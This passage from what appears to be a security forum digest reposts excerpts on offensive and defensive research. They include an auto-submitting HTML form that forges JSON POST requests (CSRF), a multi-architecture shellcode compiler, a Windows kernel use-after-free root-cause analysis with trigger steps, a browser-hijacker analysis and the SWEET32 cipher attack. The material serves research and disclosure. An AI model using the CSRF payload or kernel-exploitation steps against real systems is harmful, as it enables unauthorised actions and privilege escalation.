equals sign in an unused field. (Or you can use it as part of your payload if you need one.) Putting it All Together <body onload='document.forms[0].submit()'> <form method='POST' enctype='text/plain'> <input name='{"secret": 1337, "trash": "' value='"}'> </form> </body> This results in a request body of: {"secret": 1337, "trash": "="} This parses just fine and updates our secret! Sursa: https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html
  19. Cross Arch Shellcode Compiler 2016 - ixtyInformation This program allows to build portable, architecture independant shellcode from C code. It currently supports the following architectures: x86 x86_64 arm arm_64 It works by: compiling the same C code for each architecture linking it to arch specific syscall implementation using a polyglot dispatching shellcode The final layout of the output binary is: [ DISPATCHER ] [ X86 BLOCK ] [ X86_64 BLOCK ] [ ARM BLOCK ] [ ARM_64 BLOCK ] The dispatcher is in stage0 Open stage0/README for information on how it works Each arch specific block has the following layout: [ LOADER ] [ RELOC NUM ] [ RELOC 0 ] [ RELOC 1 ] ... [ RELOC N ] [ START OFF ] [ CODE ] Open stage1/README for information on loaders The final payload code is the stage2. Open stage2/README for information on the payloadDependencies python2.7 nasm gcc pyelftools (pip install pyelftools) qemu-user-static qemu-utils arm chroot with gcc arm64 chroot with gcc Assuming you use debian: # apt-get install gcc nasm python2.7 python-pip # apt-get install qemu qemu-user-static qemu-utils binfmt-support debootstrap # qemu-debootstrap --arch=arm64 jessie /opt/arm64/ http://ftp.debian.org/debian # qemu-debootstrap --arch=armhf jessie /opt/armhfxx/ http://ftp.debian.org/debian # chroot /opt/arm64 # apt-get install gcc # exit # chroot /opt/armhf # apt-get install gcc # exitRunning & testing $ ./build.py If everything goes well, it creates ./ouput which is the portable multi-arch shellcode. To test that everything works, use the provided 'sc' utility: On the local x86_64 machine user@x86_64-box $ ./sc_86 ./output user@x86_64-box $ ./sc_x86_64 ./output ... And in the chroots for arm/arm64 user@armhf-chroot $ ./sc_arm ./output user@arm64-chroot $ ./sc_arm_64 ./outputCredits Thanks to feliam https://github.com/feliam/mkShellcode http://blog.binamuse.com/2013/01/about-shellcodes-in-c.html The x86 / x86_64 loader code is taken from this project and the shellcode extraction technique is based upon his work aswell. Link: https://github.com/ixty/xarch_shellcode
  20. Diaphora Diaphora (διαφορά, Greek for 'difference') is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc... It was released during SyScan 2015. At the moment, it works with IDA Pro but support for Radare2 (and maybe Pyew or even Hopper) is also planned. For more details, please check the tutorial in the "doc" directory.Getting help and asking for features You can join the mailing list https://groups.google.com/forum/?hl=es#!forum/diaphora to ask for help, new features, report issues, etc... For reporting bugs, however, I recommend using the issues tracker:https://github.com/joxeankoret/diaphora/issues Please note that only the last 2 versions of IDA will be supported. As of today, it means that only 6.7 and 6.8 are supported. Version 6.6 "should work" (with all the last patches that were supplied to customers), but no support is offered for it. Documentation You can check the tutorial https://github.com/joxeankoret/diaphora/blob/master/doc/diaphora_help.pdfScreenshots This is a screenshot of Diaphora diffing the Microsoft bulletin MS15-034: These are some screenshots of Diaphora diffing the Microsoft bulletin MS15-050, extracted from the blog post Analyzing MS15-050 With Diaphora from Alex Ionescu. Link: https://github.com/joxeankoret/diaphora
      • 1
      • Upvote
  21. Root Cause Analysis of Windows Kernel UAF Vulnerability lead to CVE-2016-3310 by Wayne Chin Yick Low | Aug 17, 2016 | Filed in: Security Research In the first quarter of 2016, we realized that there were tons of windows kernel use-after-free (UAF) vulnerability patches in Microsoft bulletins where most of the vulnerabilities came from Google Project Zero, which is favourable to us because we can easily access those proof-of-concepts (POC). While doing a root cause analysis of one of the UAF vulnerabilities stated in CVE-2015-6100, we discovered that there is an alternative way to trigger the same UAF vulnerability, even after the specified patch has been applied due to weak security fixes. In this blog post, we will discuss the journey of unveiling CVE-2016-3310 as specified in MS16-098 Root cause analysis of CVE-2015-6100 Before we started analysing the POC, we first enabled special pool on the target machine using verifier.exe to could help us to identify the exact faulty code that triggered the UAF. After special pool was set accordingly, we easily spotted the UAF by running the POC (please note that this analysis was performed on a Windows 7 x86 platform): eax=000013ec ebx=90a20402 ecx=fb864da8 edx=000019c8 esi=fab18728 edi=00000000 eip=90a30e64 esp=92cebcf8 ebp=92cebd08 iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282 win32k!DC::bMakeInfoDC+0xf5: 90a30e64 394120 cmp dword ptr [ecx+20h],eax ds:0023:fb864dc8=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 82931ce7 to 828cd308 STACK_TEXT: 92ceb7d4 82931ce7 00000003 12cf79fe 00000065 nt!RtlpBreakWithStatusInstruction 92ceb824 829327e5 00000003 00000000 000fb7f2 nt!KiBugCheckDebugBreak+0x1c 92cebbe8 828e03c1 00000050 fb864dc8 00000000 nt!KeBugCheck2+0x68b 92cebc6c 82892be8 00000000 fb864dc8 00000000 nt!MmAccessFault+0x104 92cebc6c 90a30e64 00000000 fb864dc8 00000000 nt!KiTrap0E+0xdc 92cebd08 90a20427 00000000 0027fb98 fab18728 win32k!DC::bMakeInfoDC+0xf5 92cebd24 8288fa06 1d210408 00000000 0027fbc0 win32k!NtGdiMakeInfoDC+0x25 92cebd24 76ec71b4 1d210408 00000000 0027fbc0 nt!KiSystemServicePostCall 0027fb84 75376f81 75367e2b 1d210408 00000000 ntdll!KiFastSystemCallRet 0027fb88 75367e2b 1d210408 00000000 00010000 GDI32!NtGdiMakeInfoDC+0xc 0027fbc0 75357a04 1d210408 0027fc28 010272f4 GDI32!MFP_StartPage+0x84 0027fbd8 00ff11e3 1d210408 000000f6 070c0ad7 GDI32!ExtFloodFill+0x93 Listing 1: Faulty code that trigger use-after-free vulnerability After some back-tracing, the offending code was found at win32k!DC::bMakeInfoDC. We were then able to determine that the freed object is a surface object (also known as a bitmap object in user-mode context), which is located at the HDCOBJ+1F8. Next, we tried to find out the type of the freed object. Note that at this point we disabled the special pool in the following WinDBG output in order to find out the object type of the pointer stored at HDCOBJ+1F8: win32k!DC::bMakeInfoDC+0xd3: 91440e42 8d8ef8010000 lea ecx,[esi+1F8h] kd> r eax=fe8b5ff0 ebx=91430402 ecx=00000030 edx=fe8bd170 esi=fe8b5728 edi=00000000 eip=91440e42 esp=96e43cf8 ebp=96e43d08 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 win32k!DC::bMakeInfoDC+0xd3: 91440e42 8d8ef8010000 lea ecx,[esi+1F8h] kd> .load pykd.pyd kd> dc fe8b5728 l1 fe8b5728 1a210433 3.!. kd> !py E:\_Scripts\_PyKd\findGDIAddressByGDIHandle.py -v 0x1a210433 PEB: 0x7ffde000 TEB: 0x7ffdf000 Process name: C:\Users\analyst\Desktop\cve-2015-6100-poc.exe GdiShareHandleTable (KM): 0xffffffffff810000 GdiShareHandleTable (UM): 0x520000 ======== Requested GDI object with handle (1a210433) ======== GDI_TABLE_ENTRY: pKernelAddress: 0xfe8b5728 wProcessId: 0x988 wCount: 0x0 wUpper: 0x1a21 wType: 0x4401 (DC) kd> p win32k!DC::bMakeInfoDC+0xd9: 91440e48 8911 mov dword ptr [ecx],edx kd> p win32k!DC::bMakeInfoDC+0xdb: 91440e4a 8bca mov ecx,edx kd> !pool fe8bd170 Pool page fe8bd170 region is Paged session pool fe8bd000 is not a valid large pool allocation, checking large session pool... fe8bd158 size: 8 previous size: 0 (Allocated) Frag fe8bd160 size: 8 previous size: 8 (Free) Free *fe8bd168 size: 260 previous size: 8 (Allocated) *Gla5 Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys fe8bd3c8 size: 620 previous size: 260 (Allocated) Gh14 fe8bd9e8 size: 30 previous size: 620 (Free) Geto fe8bda18 size: 5e8 previous size: 30 (Free ) Ussc Process: 86527918 Listing 2: Determine the freed object type One of the important questions that needed to be answered when it came to our vulnerability analysis is how did the UAF occur in the first place? If we look at the POC, we can see thegdi32!NtGdiStartPage call is wrapped around by a try-catch block. As commented by the POC, a user-mode exception occurs when the function gdi32!NtGdiStartPage is called. The following diagram depicts its call sequences: Figure 1: Call-sequences lead to user-mode exception In a nutshell, when we looked at the code where the user-mode exception occurred, we were able to determine that the UAF happened due to an invalid GDI object handle being passed to gdi32!NtGdiStartPage. Our findings were confirmed when we discovered that the CVE-2015-6100 patch contains additional code validating the GDI object handle value on the affected GDI functions after diffing against win32k.sys binaries (See Figure 2). Based on the diffing result, we knew that some of the affected GDI functions that can lead to the same user-mode exception include: win32k!NtGdiStartPage win32k!NtGdiEndPage win32k!GreStartDocInternal win32k!bEndDocInternal Figure 2: Unpatched win32k.sys 6.1.7601.18985 (left) VS patched win32k.sys 6.1.7601.19054 (right) Figure 3: win32k!NtGdiStartPage epilog Our next question was “when did the surface object pointed at HDCOBJ+1F8” get freed? In the event of the crash being handled by POC, it would continue to execute and return to the caller of the user-mode callback function user32!__ClientPrinterThunk. As demonstrated by the code block in Figure 3, we can clearly show that if the user-mode callback function has failed to execute properly and returns NULL, it will proceed to the branch loc_BF99F796 in an attempt to disable and then free the surface object. It is important to note that by disabling the surface object, it synonymously decreases the reference count of the target object stored at GDIOBJ+0x4, as seen in this example: Listing 3: Demonstrate the reference count and exclusive lock of a GDI object Some GDI objects can only be freed when the object reference count and its exclusive lock become NULL. This is exactly the routine carried out by win32k!bEndDocInternal upon returning from win32k!UMPDDrvStartPage. The following pseudo-code briefly illustrates the operations of win32k!bEndDocInternal: Listing 4: Pseudocode to show the operations of win32k!bEndDocInternal In short, the code figure above instructs another user-mode callback function to disable the surface object through win32k!UMPDDrvDisableSurface, which eventually triggers the user-mode callback to free the target surface object, as can be seen in the following call-stack: a1377c50 915ed154 76050364 00000000 00000001 win32k!HmgRemoveObject+0x7c a1377cf4 915ed000 00000000 00000000 0014d048 win32k!SURFACE::bDeleteSurface+0x143 a1377d08 915d7446 00000000 0014d048 fb1d8da8 win32k!SURFREF::bDeleteSurface+0x14 a1377d1c 916e3c8b 76050364 a1377d34 82892a06 win32k!bDeleteSurface+0x20 a1377d28 82892a06 76050364 0014d058 777871b4 win32k!NtGdiEngDeleteSurface+0x19 a1377d28 777871b4 76050364 0014d058 777871b4 nt!KiSystemServicePostCall 0014d038 779872a1 6d7ac504 76050364 00000000 ntdll!KiFastSystemCallRet 0014d03c 6d7ac504 76050364 00000000 76050364 GDI32!NtGdiEngDeleteSurface+0xc 0014d058 779519a2 002f2508 00000000 0014d8f4 mxdwdrv!DrvDisableSurface+0x6c 0014d08c 75a714bc 0014d8f4 0014d0a4 00000000 GDI32!GdiPrinterThunk+0x252 0014d8dc 777870ee 0014d8f4 00000018 0014d934 USER32!__ClientPrinterThunk+0x28 0014d908 7778555c 777870b8 00000000 00000000 ntdll!KiUserCallbackDispatcher+0x2e Listing 5: Call-stack when the surface object is freed upon calling win32k!UMPDDrvDisableSurface In summary, we drew the following conclusion on how and when the UAF occurred: When an invalid GDI object handle passed to GDI printing functions, it could cause user-mode code exception If the exception was handled by the program, one could free and delete the surface object specified in the device context via win32k!bEndDocInternal Afterwards, any GDI printing function call that dereferences the freed surface object will also lead to a use-after-free vulnerability Abusing user-mode callback leads to arbitrary free of GDI object – CVE-2016-3310 After some reverse-engineering, we discovered that one can free a surface object under a device context (DC) by calling either one of the following win32k GDI functions: win32k!NtGdiAbortDoc win32k!NtGdiEndDoc win32k!NtGdiStartPage To recap, the surface object is freed under win32k!NtGdiStartPage upon failing to execute the user-mode callback routine because of the access violation triggered inuser32!__ClientPrinterThunk when an invalid printer DC was passed to the function. If the exception is caught by the program, then the UAFvulnerability can be triggered. In the response from MSRC, the affected GDI functions were patched in such a way that the input DC handle is now being validated, and only printer DC is allowed to execute the identified routines. This seemed to be an easy and straight forward fix to prevent the surface object from being freed on demand. However there is alternative way to free the surface object. It’s worth mentioning here that every surface object stores a reference count and exclusive lock in order to prevent the object from being freed a user mode API call, like thegdi32!DeleteObject function. However, one can first disable the surface object and then free the surface object using user-mode API gdi32!DeleteObject. While there didn’t seem to be any apparent way to disable the surface object, we discovered that we could take advantage of one of the GDI functions highlighted in Figure 4 that would eventually callwin32k!PDEVOBJ::vDisableSurface to disable the target surface object. Figure 4: Xrefs of win32k!bEndDocInternal Either win32k!NtGdiAbortDoc or win32k!NtGdiEndDoc appeared to be a good candidate for us. However, there are some requirements that need to be met in order to properly lead us to the code path that will execute the win32k!PDEVOBJ::vDisableSurface function: Printer DC is needed The surface object pointer at HDC+1F8 cannot be NULL; it will be scrutinized in win32k!XDCOBJ::bValidSurf The first requirement can be easily achieved by creating a printer DC using “winspool” as a driver name in the CreateDC function. After further reverse-engineering to better understand the highlighted function in Listing 1, we realized that it plays a crucial role that could greatly help us achieve our second objective. In general, the steps can be summarized as follows: Get a printer DC and then start the print job. Call win32k!NtGdiMakeInfoDC to store the surface object pointer at HDC+0x8C8 to HDC+0x1F8 Hook user32!__ClientPrinterThunk. The hook handler will be triggered when win32k!NtGdiEndDoc is executed, and it then executes the win32k!NtGdiMakeInfoDC function to restore the surface object pointer from HDC+0x1F8 to HDC+0x8C8. At the epilogue of win32k!bEndDocInternal, the surface object reference count will then be disabled by decreasing the reference count to 0. From our controlled program, we were now able to free the disabled surface object simply by calling the gdi32!DeleteObject API function. Here is the result: STACK_COMMAND: kb FOLLOWUP_IP: win32k!DC::bMakeInfoDC+f5 945d2889 394120 cmp dword ptr [ecx+20h],eax SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!DC::bMakeInfoDC+f5 FOLLOWUP_NAME: MachineOwner IMAGE_VERSION: 6.1.7601.23452 FAILURE_BUCKET_ID: 0xD5_VRF_win32k!DC::bMakeInfoDC+f5 BUCKET_ID: 0xD5_VRF_win32k!DC::bMakeInfoDC+f5 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0xd5_vrf_win32k!dc::bmakeinfodc+f5 FAILURE_ID_HASH: {0a3b4edd-f3e1-fb09-5501-23e8947579df} Followup: MachineOwner --------- kd> lmvm win32k.sys start end module name kd> lmvm win32k. start end module name kd> lmvm win32k start end module name 94400000 9465d000 win32k (pdb symbols) e:\symbols\win32k.pdb\3B7E088E7D3E4382B161AA168A7C93872\win32k.pdb Loaded symbol image file: win32k.sys Image path: \SystemRoot\System32\win32k.sys Image name: win32k.sys Timestamp: Thu May 12 22:54:44 2016 (57349934) CheckSum: 002502B1 ImageSize: 0025D000 File version: 6.1.7601.23452 Product version: 6.1.7601.23452 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 3.7 Driver File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft® Windows® Operating System InternalName: win32k.sys OriginalFilename: win32k.sys ProductVersion: 6.1.7601.23452 FileVersion: 6.1.7601.23452 (win7sp1_ldr.160512-0600) FileDescription: Multi-User Win32 Driver LegalCopyright: © Microsoft Corporation. All rights reserved. In summary, the use-after-free (UAF) vulnerability in CVE-2016-3310 is somewhat related to the previously patched CVE-2015-6100 vulnerability, which is a low-hanging fruit opportunity that can be spotted by understanding the root cause of the original vulnerability through manual analysis, binary diffing, and code auditing. However, engineering bug-free software, especially for robust software, remains highly challenging, so we should not point the finger at any software vendors who puts software security as their first priority. At Fortinet, weactively participate in coordinated vulnerability disclosures with major software vendors to proactively protect end-users. Signing off -= FortiGuard Lion Team =- Sursa: https://blog.fortinet.com/2016/08/17/root-cause-analysis-of-windows-kernel-uaf-vulnerability-lead-to-cve-2016-3310
  22. Keystroke Recognition Using WiFi Signals Kamran Ali† Alex X. Liu†‡ Wei Wang‡ Muhammad Shahzad† ABSTRACT Keystroke privacy is critical for ensuring the security of computer systems and the privacy of human users as what being typed could be passwords or privacy sensitive information. In this paper, we show for the first time that WiFi signals can also be exploited to recognize keystrokes. The intuition is that while typing a certain key, the hands and fingers of a user move in a unique formation and direction and thus generate a unique pattern in the time-series of Channel State Information (CSI) values, which we call CSI-waveform for that key. In this paper, we propose a WiFi signal based keystroke recognition system called WiKey. WiKey consists of two Commercial Off-The-Shelf (COTS) WiFi devices, a sender (such as a router) and a receiver (such as a laptop). The sender continuously emits signals and the receiver continuously receives signals. When a human subject types on a keyboard, WiKey recognizes the typed keys based on how the CSI values at the WiFi signal receiver end. We implemented the WiKey system using a TP-Link TL-WR1043ND WiFi router and a Lenovo X200 laptop. WiKey achieves more than 97.5% detection rate for detecting the keystroke and 96.4% recognition accuracy for classifying single keys. In real-world experiments, WiKey can recognize keystrokes in a continuously typed sentence with an accuracy of 93.5%. Download: https://www.sigmobile.org/mobicom/2015/papers/p90-aliA.pdf
      • 1
      • Upvote
  23. Hacking Soft Tokens Advanced Reverse Engineering on Android Bernhard Mueller © 2016 Vantage Point Security Pte. Ltd. Table of Contents Introduction............................................................................................................................................................... 5 Mobile One-Time Password Token Overview.................................................................................................... 6 OATH TOTP..................................................................................................................................................................................6 Proprietary Algorithms...................................................................................................................................................................7 Provisioning......................................................................................................................................................................................7 Attacks...............................................................................................................................................................................................8 Retrieval from Memory..............................................................................................................................................................9 Code Lifting and Instrumentation ...........................................................................................................................................9 The Android Reverser’s Toolbox......................................................................................................................... 10 De-Compilers, Disassemblers and Debuggers.....................................................................................................................10 Tracing Java Code.....................................................................................................................................................................11 Tracing Native Code ................................................................................................................................................................15 Tracing System Calls.................................................................................................................................................................17 Classic Linux Rootkit Style......................................................................................................................................................19 Dynamic Analysis Frameworks..............................................................................................................................................19 Drawbacks Emulation-based Analysis ..................................................................................................................................21 Hacking Soft Tokens - Bernhard Mueller © 2016 Vantage Point Security Pte. 4 of 68 Runtime Instrumentation with Frida .....................................................................................................................................22 Building A Sandbox................................................................................................................................................ 23 Sandbox Overview....................................................................................................................................................................24 Customizing the Kernel...........................................................................................................................................................25 Customizing the RAMDisk.....................................................................................................................................................26 Booting the Environment .......................................................................................................................................................28 Customizing ART.....................................................................................................................................................................29 Hooking System Calls ..............................................................................................................................................................31 Automating System Call Hooking with Zork.......................................................................................................................35 Case Studies ............................................................................................................................................................. 36 RSA SecurID: ProGuard and a Proprietary Algorithm...........................................................................................................37 Analyzing ProGuard-processed Bytecode ............................................................................................................................37 Data Storage and Runtime Encryption .................................................................................................................................39 Tool Time: RSACloneId..........................................................................................................................................................41 Vendor Response......................................................................................................................................................................44 Summary.....................................................................................................................................................................................45 Vasco DIGIPASS: Advanced Anti-Tampering........................................................................................................................47 Initial Analysis ...........................................................................................................................................................................47 Root Detection and Integrity Checks....................................................................................................................................51 Native Debugging Defenses ...................................................................................................................................................54 JDWP Debugging Defenses....................................................................................................................................................56 Static-dynamic Analysis............................................................................................................................................................58 Attack Outline ...........................................................................................................................................................................59 Tool Time: VasClone....................................................................................................................................................................60 Vendor Comments........................................................................................................................................................................64 Summary.....................................................................................................................................................................................65 TL; DR...................................................................................................................................................................... 66 Attack Mitigation...........................................................................................................................................................................66 Software Protection Effectiveness..............................................................................................................................................66 REFERENCES....................................................................................................................................................... 67 Download: http://gsec.hitb.org/materials/sg2016/whitepapers/Hacking Soft Tokens - Bernhard Mueller.pdf
  24. File-in-the-middle hijackers Posted August 23, 2016 by Pieter Arntz We are not sure if this is going to be a new trend among browser hijackers, but it seems more than a coincidence that we found two browser hijackers using a very similar approach to reach their goal of taking victims to the sites of their choice. Both are using one of their own files to act as a file-in-the-middle between the user and the browser. Let’s compare them. Dotdo Audio Dotdo is a strain of hijackers that we have discussed before for using different and more “out of bounds” methods to get the job done. I named this variant “audio” because it uses audio advertisements. But that is not our focus here. It’s the replacement of browser executables with their own that raised our interest. The installer renames the files firefox.exe and chrome.exe, if present, and adds a number to the filename. It then hides these renamed files and replaces them with its own files. The screenshot above shows you the hidden and renamed Chrome file, in the same folder as the replacement. I changed the settings for hidden files so that we can see them. In a similar screenshot below we can see that the same was done for Firefox. Note that all the changes are misdated, they were all made 8/10/2016. For the hijacker using the method of replacing files this has the advantage that they don’t have to follow the more common method of altering shortcuts. All the shortcuts the user has on his desktop, startmenu, taskbar, and anywhere else, can stay the same as the folder and filename they are pointing to are still valid and now under control of the hijacker. Then, when the false browser is started the hijacker will trigger the renamed chrome.exe and add some extra instructions. As a result the victim will be able to surf as he expected and probably ask himself where the audio advertisements are coming from. HPRewriter2 This one was named after the entry it makes in the list of installed Programs and Features. The browsers are hijacked to open with traffic-media[dot]co by altering the browser shortcuts for: Chrome Firefox Internet Explorer Opera Yandex The target of the shortcuts is altered to C:\Users\{username}\AppData\Roaming\HPRewriter2\RewRun3.exe {version number} as shown in the example below. Triggering Rewrun3.exe without a version number accomplishes nothing (it will not run), but with the version number forwarded by the shortcuts, Rewrun3 opens the targeted browser with the traffic-media[dot]co site or one of their redirects. Summary We discussed two hijackers from very different families and using different methods, but they also had a few things in common. They want the victims to hear/see their advertisements and they used a file-in-the-middle between the browser shortcuts and the actual browser in order to alter the browsers behavior to meet their goals. Additional information File properties: Dotdo hijack installer SHA1: 0d16eae1f5748410fa047daa533d0ebbd994ea1c Firefox.exe (fake) SHA1: 53a77f64595b1fb65a88247a324458f569e3d12a Chrome.exe (fake) SHA1: 501c9a6b224f58773b603675a71624d7e7353d1f HPRewriter2 installer SHA1: f96399f3b91218f30a9e58fce8009eaab5521398 Rewrun3.exe SHA1: 117db3909a2507e162a6361be1f4e5950f017e7d Removal guides: Dotdo Audio HPRewriter2 Protection and detection Because of the intrusive changes the Dotdo installer makes it was classified as a Trojan. The resulting changes to the system are detected and removed as PUP.Optional.DotDo and PUP.Optional.MultiPlug. Likewise some of the main files involved in the HPRewriter2 hijack are detected as Trojans. The resulting changes to the system are detected and removed as PUP.Optional.HPDefender. As a result of the Trojan detections Malwarebytes Anti-Malware Premium users are protected against these threats even if they don’t have the Non-Malware Protection enabled. Save yourself the hassle and get protected too. Pieter Arntz Sursa: https://blog.malwarebytes.com/cybercrime/2016/08/file-in-the-middle-hijackers/
      • 3
      • Upvote
  25. SWEET32: Birthday attacks on 64-bit block ciphers in TLS and OpenVPN CVE-2016-2183, CVE-2016-6329 Cryptographic protocols like TLS, SSH, IPsec, and OpenVPN commonly use block cipher algorithms, such as AES, Triple-DES, and Blowfish, to encrypt data between clients and servers. To use such algorithms, the data is broken into fixed-length chunks, called blocks, and each block is encrypted separately according to a mode of operation. Older block ciphers, such as Triple-DES and Blowfish use a block size of 64 bits, whereas AES uses a block size of 128 bits. It is well-known in the cryptographic community that a short block size makes a block cipher vulnerable to birthday attacks, even if the are no cryptographic attacks against the block cipher itself. We observe that such attacks have now become practical for the common usage of 64-bit block ciphers in popular protocols like TLS and OpenVPN. Still, such ciphers are widely enabled on the Internet. Blowfish is currently the default cipher in OpenVPN, and Triple-DES is supported by nearly all HTTPS web servers, and currently used for roughly 1-2% of HTTPS connections between mainstream browsers and web servers. We show that a network attacker who can monitor a long-lived Triple-DES HTTPS connection between a web browser and a website can recover secure HTTP cookies by capturing around 785 GB of traffic. In our proof-of-concept demo, this attack currently takes less than two days, using malicious Javascript to generate traffic. Keeping a web connection alive for two days may not seem very practical, but it worked easily in the lab. In terms of computational complexity, this attack is comparable to the recent attacks on RC4. We also demonstrate a similar attack on VPNs that use 64-bit ciphers, such as OpenVPN, where long-lived Blowfish connections are the norm. Countermeasures are currently being implemented by browser vendors, OpenSSL, and the OpenVPN team, and we advise users to update to the latest available versions. Our results will appear in the following technical paper at ACM CCS 2016: On the Practical (In-)Security of 64-bit Block Ciphers — Collision Attacks on HTTP over TLS and OpenVPN Karthikeyan Bhargavan, Gaëtan Leurent Link: https://sweet32.info/
×
×
  • Create New...